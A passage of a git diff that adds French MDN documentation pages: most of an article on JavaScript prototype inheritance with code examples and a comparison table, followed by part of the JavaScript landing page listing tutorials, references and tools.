+            constructor: ƒ Object(),
+            hasOwnProperty: ƒ hasOwnProperty(),
+            isPrototypeOf: ƒ isPrototypeOf(),
+            propertyIsEnumerable: ƒ propertyIsEnumerable(),
+            toLocaleString: ƒ toLocaleString(),
+            toString: ƒ toString(),
+            valueOf: ƒ valueOf()
+        }
+    }
+}</pre>
+
+<p>Comme nous l'avons vu avant, la valeur de <code>__proto__</code> pour <code>uneInstance</code> est <code>faireUnTruc.prototype</code>. Mais quel est l'intérêt ? Lorsqu'on accède à une propriété de <code>uneInstance</code>, le moteur contrôle d'abord si <code>uneInstance</code> possède cette propriété.</p>
+
+<p>Si <code>uneInstance</code> ne possède pas cette propriété, le moteur contrôlera la propriété sur la propriété <code>__proto__</code> de <code>uneInstance</code> (c'est-à-dire <code>faireUnTruc.prototype</code>). Si la propriété <code>__proto__</code> de <code>uneInstance</code> possède la propriété qu'on recherche, ce sera celle-ci qui sera utilisée.</p>
+
+<p>Si <code>__proto__</code> de <code>unTruc</code> ne possède pas la propriété recherchée, le moteur contrôle la propriété <code>__proto__</code> de la propriété <code>__proto__</code> de <code>uneInstance</code>. Par défaut, la propriété <code>__proto__</code> de n'importe quel propriété <code>prototype</code>d'une fonction est  <code>window.Object.prototype</code>. Ainsi, la propriété <code>__proto__</code> de la propriété <code>__proto__</code> de  <code>uneInstance</code> (c'est-à-dire <code>__proto__</code> de <code>faireUnTruc.prototype</code> (c'est-à-dire. <code>Object.prototype</code>)) est contrôlée pour vérifier si la propriété y est présente.</p>
+
+<p>Si la propriété n'est pas trouvée sur la propriété <code>__proto__</code> de la propriété <code>__proto__</code> de <code>uneInstance</code>, c'est la proriété <code>__proto__</code> de la propriété <code>__proto__</code> de la propriété <code>__proto__</code> de <code>uneInstance</code> qui est contrôlée. Cependant il y a un problème car la propriété <code>__proto__</code> de la propriété <code>__proto__</code> de la propriété <code>__proto__</code> de <code>unTruc</code> n'existe pas. Autrement dit, toute la chaîne de prototype a été parcouru et on ne peut pas remonter d'un cran sur un autre <code>__proto__</code> et le moteur peut conclure que la propriété n'existe pas pour cet objet et renvoyer <code>undefined</code>.</p>
+
+<p>Regardons ce qui se produit dans la console avec un peu de code :</p>
+
+<pre class="brush: js">function faireUnTruc(){}
+faireUnTruc.prototype.toto = "truc";
+var uneInstance = new faireUnTruc();
+uneInstance.prop = "une valeur";
+console.log("uneInstance.prop: " + uneInstance.prop);
+console.log("uneInstance.toto: " + uneInstance.toto);
+console.log("faireUnTruc.prop: " + faireUnTruc.prop);
+console.log("faireUnTruc.toto: " + faireUnTruc.toto);
+console.log("faireUnTruc.prototype.prop: " + faireUnTruc.prototype.prop);
+console.log("faireUnTruc.prototype.toto:  " + faireUnTruc.prototype.toto);</pre>
+
+<p>Le résultat est le suivant :</p>
+
+<pre class="brush: js">uneInstance.prop: une valeur
+uneInstance.toto: truc
+faireUnTruc.prop: undefined
+faireUnTruc.toto: undefined
+faireUnTruc.prototype.prop: undefined
+faireUnTruc.prototype.toto: truc</pre>
+
+<h2 id="Les_différentes_façons_de_créer_des_objets_et_les_impacts_sur_la_chaîne_de_prototype">Les différentes façons de créer des objets et les impacts sur la chaîne de prototype</h2>
+
+<h3 id="Objets_créés_avec_les_raccourcis_syntaxiques_littéraux">Objets créés avec les raccourcis syntaxiques (littéraux)</h3>
+
+<pre class="brush: js">var o = {a: 1};
+
+// Le nouvel objet possède Object.prototype comme [[Prototype]]
+// o ne possède pas de propriété 'hasOwnProperty' en propre
+// hasOwnProperty est une propriété en propre de Object.prototype.
+// o hérite de hasOwnProperty via Object.prototype
+// Object.prototype possède null comme prototype.
+// o ---&gt; Object.prototype ---&gt; null
+
+var b = ['coucou', 'ça va', '?'];
+
+// Les tableaux (Array) héritent de Array.prototype
+// (qui possède les méthodes indexOf, forEach, etc.)
+// La chaîne de prototype est donc :
+// b ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f() {
+  return 2;
+}
+
+// Les fonctions héritent de Function.prototype
+// (qui possède les méthodes call, bind, etc.)
+// La chaîne de prototype est donc
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="Objets_créés_avec_un_constructeur">Objets créés avec un constructeur</h3>
+
+<p>En JavaScript, un constructeur est <em>juste</em> une fonction que l'on invoque avec l'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">new</a></code>.</p>
+
+<pre class="brush: js">function Graphe() {
+  this.sommets = [];
+  this.arêtes = [];
+}
+
+Graphe.prototype = {
+  ajoutSommet: function(v) {
+    this.sommets.push(v);
+  }
+};
+
+var g = new Graphe();
+// g est un objet qui possède les propriétés 'sommets' and 'arêtes' en propre.
+// g.[[Prototype]] est la valeur de Graphe.prototype lorsque "new Graphe()" est exécuté.
+</pre>
+
+<h3 id="Objets_créés_avec_Object.create">Objets créés avec <code>Object.create()</code></h3>
+
+<p>ECMAScript 5 a introduit une nouvelle méthode : {{jsxref("Object.create()")}}. Appeler cette méthode crée un nouvel objet et le prototype de cet objet est le premier argument de cette fonction :</p>
+
+<pre class="brush: js">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (héritée)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty);
+// undefined, car d n'hérite pas de Object.prototype
+</pre>
+
+<h4 id="Suppression_des_propriétés_avec_delete">Suppression des propriétés avec <code>delete</code></h4>
+
+<p>L'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_delete">delete</a></code> permet de supprimer une propriété directement rattachée à un objet. En revanche, il n'empêchera pas l'exploration de la chaîne de prototype :</p>
+
+<pre class="brush: js">let a = {toto: 1};
+let b = Object.create(a);
+
+console.log(b.toto); // Affiche 1 car c'est une propriété disponible via le prototype
+b.toto = 5;
+console.log(b.toto); // Affiche 5, désormais cette propriété existe sur l'objet
+
+delete b.toto;
+console.log(b.toto); // Affiche 1 : la propriété n'est plus disponible sur l'objet mais
+                     // on peut toujours la récupérer via le prototype</pre>
+
+<h3 id="Objets_créés_avec_le_mot-clé_class">Objets créés avec le mot-clé <code>class</code></h3>
+
+<p>ECMAScript 2015 introduit plusieurs mots-clés destinés à créer du sucre syntaxique pour manipuler des <a href="/fr/docs/Web/JavaScript/Reference/Classes">classes</a>. Ces mots-clés sont {{jsxref("Instructions/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}} et {{jsxref("Opérateurs/super", "super")}}.</p>
+
+<pre class="brush: js">'use strict';
+
+class Polygone {
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+}
+
+class Carré extends Polygone {
+  constructor(longueurCôté) {
+    super(longueurCôté, longueurCôté);
+  }
+  get aire() {
+    return this.hauteur * this.largeur;
+  }
+  set longueurCôté(nouvelleLongueur) {
+    this.hauteur = nouvelleLongueur;
+    this.largeur = nouvelleLongueur;
+  }
+}
+
+var carré = new Carré(2);
+</pre>
+
+<h3 id="Performance">Performance</h3>
+
+<p>Le temps de recherche des propriétés sera plus élevé si ces propriétés sont situées plus loin dans la chaîne de prototype. Tenter d'accéder à ces propriétés éloignées pourra avoir un impact négatif sur les performances. De plus, tenter d'accéder à des propriétés inexistantes entraîntera toujours le parcours de l'ensemble de la chaîne de prototype.</p>
+
+<p>Lorsqu'on parcourt les propriétés d'un objet, <strong>toutes</strong> les propriétés énumérables situées sur la chaîne de prototype seront parcourues. Pour vérifier si un objet possède une propriété en propre plus que via sa chaîne de prototype, on devra utiliser la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty"><code>hasOwnProperty()</code></a> qui est héritée grâce à <code>Object.prototype</code>. Prenons un exemple concret avec le cas du graphe traité dans un exemple précédent :</p>
+
+<pre class="brush: js">console.log(g.hasOwnProperty('arêtes'));
+// true
+
+console.log(g.hasOwnProperty('nononon'));
+// false
+
+console.log(g.hasOwnProperty('ajoutSommet'));
+// false
+
+console.log(g.__proto__.hasOwnProperty('ajoutSommet'));
+// true
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Tester si une propriété vaut {{jsxref("undefined")}} ne suffit pas à vérifier la présence de la propriété sur un objet : une propriété peut très bien exister sur un objet mais valoir <code>undefined</code>.</p>
+</div>
+
+<h3 id="Mauvaise_pratique_étendre_les_prototypes_natifs">Mauvaise pratique : étendre les prototypes natifs</h3>
+
+<p>On peut parfois voir du code qui étend <code>Object.prototype</code> ou l'un des prototypes natifs.</p>
+
+<p>Cette technique est intitulée <em>monkey patching </em>et brise l'encapsulation. Bien qu'elle soit utilisée par certains <em>frameworks</em>, il n'existe pas de raison suffisante pour étendre les objets natifs avec des fonctionnalités non-standard.</p>
+
+<p>La<strong> seule</strong> raison qui peut prévaloir pour l'extension de prototypes natifs est l'ajout de fonctionnalités JavaScript apparues avec les nouvelles versions des spécifications et moteurs afin d'en disposer dans de plus anciens environnements.</p>
+
+<h3 id="Résumé_des_méthodes_pour_étendre_la_chaîne_de_prototype">Résumé des méthodes pour étendre la chaîne de prototype</h3>
+
+<p>Voici un tableau avec les quatre outils qui permettent d'étendre une chaîne de prototypes avec chacun leurs avantages et leurs inconvénients. Tous les exemples mentionnés permettent de créer le même objet <code>inst</code> (et affichant donc le même résultat dans la console) mais de façon différente.</p>
+
+<table class="standard-table" style="text-align: top;">
+ <tbody>
+  <tr>
+   <td style="width: 1%;">Nom</td>
+   <td style="vertical-align: top; width: 1%;">Exemples</td>
+   <td style="vertical-align: top;">Avantages</td>
+   <td style="vertical-align: top; width: 60%;">Inconvénients</td>
+  </tr>
+  <tr>
+   <td>Initialisation</td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js">
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = new toto;
+proto.truc_prop = "truc val";
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+</pre>
+   </td>
+   <td style="vertical-align: top;">Prise en charge par l'ensemble des navigateurs. Cette méthode est très rapide, standard et facilement optimisable.</td>
+   <td style="vertical-align: top;">
+    <p>Afin d'utiliser cette méthode, il faut que la fonction ait été initialisée. Pendant cette initialisation, le constructeur peut enregistrer des informations uniques qui doivent être générées pour chaque objet.</p>
+
+    <p>Toutefois, il est possible que ces informations uniques ne soient générées qu'une seule fois.</p>
+
+    <p>De plus, l'initialisation du constructeur peut ajouter des méthodes non souhaitées sur l'objet.</p>
+
+    <p>Cela dit, ces problèmes ne se révèlent que rarement.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>Object.create()</code></td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js">
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = Object.create(
+  toto.prototype
+);
+proto.truc_prop = "truc val";
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+</pre>
+
+    <pre class="brush: js">
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = Object.create(
+  toto.prototype,
+  {
+    truc_prop: {
+      value: "truc val"
+    }
+  }
+);
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop)</pre>
+   </td>
+   <td style="vertical-align: top;">Prise en charge par la majorité des navigateurs actuels. Elle permet de définir directement <code>__proto__</code> en une seule fois et le navigateur peut mieux optimiser l'objet. Elle permet aussi de créer des objets sans prototype avec <code>Object.create(null)</code>.</td>
+   <td style="vertical-align: top;">
+    <p>Cette méthode n'est pas prise en charge par IE8 et les versions antérieures. Toutefois, Microsoft ayant mis un terme au support des systèmes qui utilisent ces navigateurs, ce ne devrait pas être un problème pour la plupart des navigation.</p>
+
+    <p>De plus, la lenteur de l'initialisation de l'objet peut être causer des soucis de performances lorsqu'on utilise un deuxième argument car descripteur de propriété possède un objet rattaché. Lorsqu'on gère des centaines de milliers de descripteurs, cela peut entraîner un certain <em>lag</em>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>Object.setPrototypeOf()</code></p>
+   </td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js">
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = {
+  truc_prop: "truc val"
+};
+Object.setPrototypeOf(
+  proto, toto.prototype
+);
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+</pre>
+
+    <pre class="brush: js">
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto;
+proto=Object.setPrototypeOf(
+  { truc_prop: "truc val" },
+  toto.prototype
+);
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop)</pre>
+   </td>
+   <td style="vertical-align: top;">Prise en charge par l'ensemble des navigateurs actuels. Elle permet de manipuler dynamiquement le prototype d'un objet et également de rattacher un prototype à un objet qui n'aurait pas de prototype.</td>
+   <td style="vertical-align: top;">Cette méthode devrait être dépréciée et possède des performances faibles. En effet, les moteurs tenteront d'optimiser la connaissance de la structure du prototype et cette méthode viendra à l'enconte de ces hypothèses et certains navigateurs pourront même recompiler le code pour le faire fonctionner selon les spécifications. Cette méthode n'est pas prise en charge par IE8 et les versions antérieures.</td>
+  </tr>
+  <tr>
+   <td><code>__proto__</code></td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js">
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = {
+  truc_prop: "truc val",
+  __proto__: toto.prototype
+};
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+</pre>
+
+    <pre class="brush: js">
+var inst = {
+  __proto__: {
+    truc_prop: "truc val",
+    __proto__: {
+      toto_prop: "toto val",
+      __proto__: Object.prototype
+    }
+  }
+};
+console.log(inst.toto_prop);
+console.log(inst.truc_prop)</pre>
+   </td>
+   <td style="vertical-align: top;">Prise en charge par l'ensemble des navigateurs actuels (y compris IE11 et ultérieurs). Défiinir __proto__ sur quelque chose qui n'est pas un objet échouera silencieusement.</td>
+   <td style="vertical-align: top;">Cette méthode est dépréciée et n'est pas performante car les moteurs tentent d'optimiser les prototypes. Aussi, le modifier ainsi dynamiquement bloque ces optimisations et peut causer la recompilation du code pour qu'il fonctionne selon les spécifications. Cette méthode n'est pas prise en charge par IE10 et les versions antérieures.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="prototype_et_Object.getPrototypeOf"><code>prototype</code> et <code>Object.getPrototypeOf()</code></h2>
+
+<p>JavaScript peut prêter à confusion pour les développeurs utilisant Java ou C++. JavaScript est un langage dynamique et les structures peuvent évoluer lors de l'exécution.</p>
+
+<p>Vous avez peut-être remarqué que la fonction <code>A</code> possède une propriété spéciale intitulée <code>prototype</code>. Cette propriété spéciale fonctionne avec l'opérateur <code>new</code> Elle permet de copier la référence  l'objet prototype sur la propriété interne <code>[[Prototype]]</code> de la nouvelle instance créée. Ainsi, avec <code>var a1 = new A()</code>, Le moteur JavaScript définira <code>a1.[[Prototype]] = A.prototype</code>. Quand on tente d'accéder à une des propriétés de l'instance, JavaScript vérifie la présence sur l'instance puis analyse son prototype <code>[[Prototype]]</code>. Cela signifie que tout ce qui est défini sur <code>prototype</code> est effectivement partagé par l'ensemble des instances et on peut même modifier <code>prototype</code> en cours de route afin de modifier indirectement l'ensemble des instances.</p>
+
+<p>Dans l'exemple précédent, si on avait eu <code>var a1 = new A(); var a2 = new A();</code> alors <code>a1.faireUnTruc</code> aurait fait référence à <code>Object.getPrototypeOf(a1).faireUntruc</code> qui est identique à <code>A.prototype.faireUnTruc</code>. Autrement dit <code>Object.getPrototypeOf(a1).faireUnTruc == Object.getPrototypeOf(a2).faireUnTruc == A.prototype.faireUnTruc</code>.</p>
+
+<p>Autrement dit <code>prototype</code> peut être utilisé pour les types et <code>Object.getPrototypeOf()</code> pour les instances.</p>
+
+<p><code>[[Prototype]]</code> est analysé de façon récursive. Ainsi, <code>a1.faireUnTruc</code> correspondra à chercher <code>Object.getPrototypeOf(a1).faireUnTruc</code> puis <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).faireUnTruc</code> etc., jusqu'à ce qu'elle soit trouvée ou que <code>Object.getPrototypeOf</code>renvoie <code>null</code>.</p>
+
+<p>Ainsi, quand on appelle :</p>
+
+<pre class="brush: js">var o = new Toto();</pre>
+
+<p>Le moteur JavaScript effectue les étapes suivantes :</p>
+
+<pre class="brush: js">var o = new Object();
+o.[[Prototype]] = Toto.prototype;
+Toto.call(o);</pre>
+
+<p>(ou quelque chose qui y ressemble) et si on écrit ensuite :</p>
+
+<pre class="brush: js">o.unePropriété;</pre>
+
+<p>Le moteur vérifie si <code>o</code> possède une propriété <code>unePropriété</code> en propre. Si ce n'est pas le cas, il vérifie <code>Object.getPrototypeOf(o).unePropriété</code> et ainsi de suite.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Il est essentiel de comprendre le modèle d'héritage prototypique avant d'écrire du code complexe qui repose sur ces notions. Il est également préférable d'avoir une idée de la longueur de la chaîne de prototype utilisée pour les différents objets et de fragmenter cette chaîne si besoin afin d'éviter des écueils de performances. Enfin, on veillera à ne pas étendre les prototypes natifs sauf afin d'émuler des nouvelles fonctionnalités qui ne seraient pas disponibles dans l'environnement utilisé.</p>
diff --git a/files/fr/web/javascript/index.html b/files/fr/web/javascript/index.html
new file mode 100644
index 0000000000..fd439ec4d5
--- /dev/null
+++ b/files/fr/web/javascript/index.html
@@ -0,0 +1,131 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+  - Apprendre
+  - JavaScript
+  - Landing page
+  - 'l10n:priority'
+translation_of: Web/JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>JavaScript</strong> (qui est souvent abrégé en « JS ») est un langage de script léger, orienté objet, principalement connu comme le langage de script des pages web. Mais il est aussi <a href="https://fr.wikipedia.org/wiki/JavaScript#Autres_utilisations">utilisé dans de nombreux environnements extérieurs aux navigateurs web</a> tels que <a href="https://nodejs.org/">Node.js</a>, <a href="https://couchdb.apache.org/">Apache CouchDB</a> voire <a href="https://www.adobe.com/devnet/acrobat/javascript.html">Adobe Acrobat</a>. Le code JavaScript est interprété ou compilé à la volée (<a href="https://fr.wikipedia.org/wiki/Compilation_%C3%A0_la_vol%C3%A9e">JIT</a>)</span>. C'est un langage à objets utilisant le concept de <a href="https://fr.wikipedia.org/wiki/Programmation_orient%C3%A9e_prototype">prototype</a>, disposant d'un typage faible et dynamique qui permet de programmer suivant plusieurs paradigmes de programmation : fonctionnelle, impérative et orientée objet. <a href="/fr/docs/Web/JavaScript/A_propos">Apprenez-en plus sur JavaScript</a>.</p>
+
+<p class="summary">Cette section est dédiée au langage JavaScript. Pour des informations sur l'utilisation de JavaScript avec les {{Glossary("API")}} spécifiques des navigateurs web pour les pages web, veuillez consulter les sections sur les <a href="/fr/docs/Web/API">API Web</a> (<em>Web API</em> en anglais) et le <a href="/fr/docs/DOM">DOM</a>.</p>
+
+<p>Le standard pour JavaScript est <a href="/fr/docs/Web/JavaScript/Language_Resources">ECMAScript</a>. En 2012, tous les navigateurs modernes supportent complètement ECMAScript 5.1. Les anciens navigateurs supportent au minimum ECMAScript 3. Une sixième version majeure du standard a été finalisée et publiée le 17 juin 2015. Cette version s'intitule officiellement ECMAScript 2015 mais est encore fréquemment appelée ECMAScript 6 ou ES6. Étant donné que les standards ECMAScript sont édités sur un rythme annuel, cette documentation fait référence à la dernière version en cours de rédaction, actuellement c'est <a href="https://tc39.github.io/ecma262/">ECMAScript 2020</a>.</p>
+
+<p>JavaScript ne doit pas être confondu avec le <a href="https://fr.wikipedia.org/wiki/Java_%28langage%29">langage de programmation Java</a>. Java et JavaScript sont deux marques déposées par Oracle dans de nombreux pays mais ces deux langages de programmation ont chacun une syntaxe, une sémantique et des usages différents.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Tutoriels">Tutoriels</h2>
+
+<p>Apprenez comment programmer en JavaScript.</p>
+
+<h3 id="Ressources_pour_commencer">Ressources pour commencer</h3>
+
+<p>Si vous souhaitez apprendre JavaScript et que vous débutez en programmation ou en JavaScript, <a href="/fr/Apprendre/JavaScript">la section JavaScript de la zone d'apprentissage de MDN (<em>learning area</em>)</a> est le meilleur endroit où commencer. Cette section contient les modules suivants :</p>
+
+<dl>
+ <dt><a href="/fr/docs/Learn/JavaScript/First_steps">Les premiers pas en JavaScript</a></dt>
+ <dd>Cet ensemble de chapitres répond à des questions telles que « qu'est-ce que JavaScript ? », « à quoi ressemble-t-il ? », « que puis-je faire avec ? » et présente des éléments clés du langage tels que les variables, les chaînes de caractères, les nombres et les tableaux.</dd>
+ <dt><a href="https://developer.mozilla.org/fr/Apprendre/JavaScript/Building_blocks">Les principaux blocs de JavaScript</a></dt>
+ <dd>On poursuit ici la présentation des fonctionnalités importantes de JavaScript, notamment celle des blocs de codes fréquemment utilisés comme les instructions conditionnelles, les boucles, les fonctions et les évènements.</dd>
+ <dt><a href="/fr/docs/Learn/JavaScript/Objects">Une introduction aux objets JavaScript</a></dt>
+ <dd>JavaScript est un langage de programmation « orienté objet » et ce concept est primordial pour utiliser JavaScript au mieux, écrire du code plus efficace et comprendre son fonctionnement. Ce module présente les bases de ces concepts.</dd>
+ <dt><a href="/fr/docs/Apprendre/JavaScript/Asynchrone">La programmation asynchrone en JavaScript</a></dt>
+ <dd>Dans cet article, on aborde les fonctionnalités asynchrones de JavaScript, en quoi elles sont importantes et la façon dont elles peuvent être utilisées lors d'opérations bloquantes comme la récupération de ressources provenant d'un serveur.</dd>
+ <dt></dt>
+ <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs">Les API Web utilisées côté client</a></dt>
+ <dd>Lorsqu'on écrit du JavaScript pour un site web ou une application, il est rapidement nécessaire de manipuler les API : des interfaces qui permettent de manipuler différents aspects du navigateur, des données provenant d'autres sites ou services, etc. Dans ce module, nous verrons ce que sont les API, et comment utiliser les API les plus fréquemment utilisées.</dd>
+</dl>
+
+<h3 id="Guide_JavaScript">Guide JavaScript</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a></dt>
+ <dd>Si vous débutez avec JavaScript, ce guide vous permettra de découvrir les différents éléments du langage.</dd>
+</dl>
+
+<h3 id="Niveau_intermédiaire">Niveau intermédiaire</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">Comprendre les <em>frameworks</em> JavaScript côté client</a></dt>
+ <dd>Les frameworks JavaScript font partie de l'écosystème du développement web côté client. Les outils qu'ils fournissent permettent de construire des applications dynamiques sur des bases robustes. Dans ce module, on présente les notions principales de leur fonctionnement et comment ces outils peuvent rejoindre votre panoplie. Des tutoriels sur les frameworks les plus répandus suivront cet article.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Introduction_à_JavaScript_orienté_objet">Introduction à JavaScript orienté objet</a></dt>
+ <dd>Une introduction aux concepts de la programmation orientée objet, appliquée au JavaScript.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Une_réintroduction_à_JavaScript">Une réintroduction à JavaScript</a></dt>
+ <dd>Un aperçu destiné à ceux qui pensent savoir ce qu'est JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Structures_de_données">Les structures de données en JavaScript</a></dt>
+ <dd>Un aperçu des structures de données disponibles en JavaScript.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Les_différents_tests_d_égalité_comment_les_utiliser">Les différents tests d'égalité</a></dt>
+ <dd>JavaScript permet d'utiliser trois opérations pour comparer des valeurs, l'égalité stricte utilisée avec <code>===</code>, l'égalité simple utilisée avec <code>==</code> ainsi que l'égalité de valeurs.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Closures">Les fermetures (<em>closures</em>)</a></dt>
+ <dd>Une fermeture (<em>closure</em> en anglais) correspond à la combinaison entre une fonction et l'environnement lexical au sein duquel elle a été déclarée.</dd>
+</dl>
+
+<h3 id="Niveau_avancé">Niveau avancé</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Héritage_et_chaîne_de_prototypes">Héritage et chaîne de prototypes</a></dt>
+ <dd>Cette page explique l'héritage à base de prototype, un concept souvent incompris et sous-estimé.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">Le mode strict</a></dt>
+ <dd>Une variante plus restreinte de JavaScript (par exemple, on ne peut pas utiliser de variable avant de l'avoir définie). Elle permet d'obtenir de meilleures performances et de faciliter le débogage.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></dt>
+ <dd>Les tableaux typés permettent d'accéder à des données binaires brutes, de façon organisée.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Gestion_de_la_mémoire">La gestion de la mémoire en JavaScript</a></dt>
+ <dd>Cet article décrit le cycle de vie des objets et de la mémoire en JavaScript, ainsi que le mécanisme du ramasse-miettes.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Concurrence_et_boucle_des_événements">Gestion de la concurrence et boucle des événements</a></dt>
+ <dd>Le modèle de concurrence utilisé par JavaScript est basé sur une « boucle d'événements »</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Référence">Référence</h2>
+
+<p>Parcourez la documentation complète de la <a href="/fr/docs/Web/JavaScript/Reference">référence JavaScript</a>.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux">Les objets standard</a></dt>
+ <dd>Apprenez à connaître les objets natifs standard tels que {{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}}, et d'autres.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs">Les expressions et les opérateurs</a></dt>
+ <dd>Apprenez à connaître comment fonctionnent les opérateurs JavaScript comme {{jsxref("Opérateurs/instanceof", "instanceof")}}, {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}, {{jsxref("Opérateurs/L_opérateur_new", "new")}}, {{jsxref("Opérateurs/L_opérateur_this", "this")}} et bien d'autres notions comme <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Pr%C3%A9c%C3%A9dence_des_op%C3%A9rateurs">la précédence des opérateurs</a>.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Instructions">Les instructions et les déclarations</a></dt>
+ <dd>Apprenez à connaître comment utiliser {{jsxref("Instructions/do...while", "do-while")}}, {{jsxref("Instructions/for...in", "for-in")}}, {{jsxref("Instructions/for...of", "for-of")}}, {{jsxref("Instructions/try...catch", "try-catch")}}, {{jsxref("Instructions/let", "let")}}, {{jsxref("Instructions/var", "var")}}, {{jsxref("Instructions/const", "const")}}, {{jsxref("Instructions/if...else", "if-else")}}, {{jsxref("Instructions/switch", "switch")}} et les autres mots-clés et instructions JavaScript.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Fonctions">Les fonctions</a></dt>
+ <dd>Apprenez à utiliser les fonctions en JavaScript pour développer vos applications.</dd>
+</dl>
+
+<h2 id="Outils_ressources">Outils &amp; ressources</h2>
+
+<p>Voici une liste d'outils utiles pour écrire et déboguer du code JavaScript.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Outils">Les outils de développement Firefox</a></dt>
+ <dd><a href="/fr/docs/Outils/Ardoise">L'ardoise</a>, <a href="/fr/docs/Outils/Web_Console">la console web</a>, <a href="/fr/docs/Outils/Profiler">le profileur JavaScript</a>, <a href="/fr/docs/Outils/Debugger">le débogueur</a>, et bien plus.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/Shells">Les consoles JavaScript</a></dt>
+ <dd>Une console JavaScript qui vous permet de rapidement tester des fragments de code JavaScript.</dd>
+ <dt><a href="https://togetherjs.com/">TogetherJS</a></dt>
+ <dd>
+ <p class="hero-header-text large">Un outil JavaScript pour travailler à plusieurs sur un même site en ajoutant cette bibliothèque.</p>
+ </dd>
+ <dt><a href="https://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
+ <dd>Les questions posées sur Stack Overflow, étiquetées « JavaScript ».</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript">Les différentes versions JavaScript et les notes de versions</a></dt>
+ <dd>Parcourez l'historique de JavaScript, l'évolution des différentes fonctionnalités et l'état de l'implémentation.</dd>
+ <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
+ <dd>Éditez du code JavaScript, CSS et HTML et visualisez le résultat obtenu en direct. Vous pouvez aussi partager des exemples et collaborer avec votre équipe.</dd>
+ <dt><a href="https://jsbin.com">JS Bin</a></dt>
+ <dd>JS Bin est un site web pour le développement et le débogage collaboratif de code JavaScript et de pages web.</dd>
+ <dt><a href="https://codepen.io/">CodePen</a></dt>
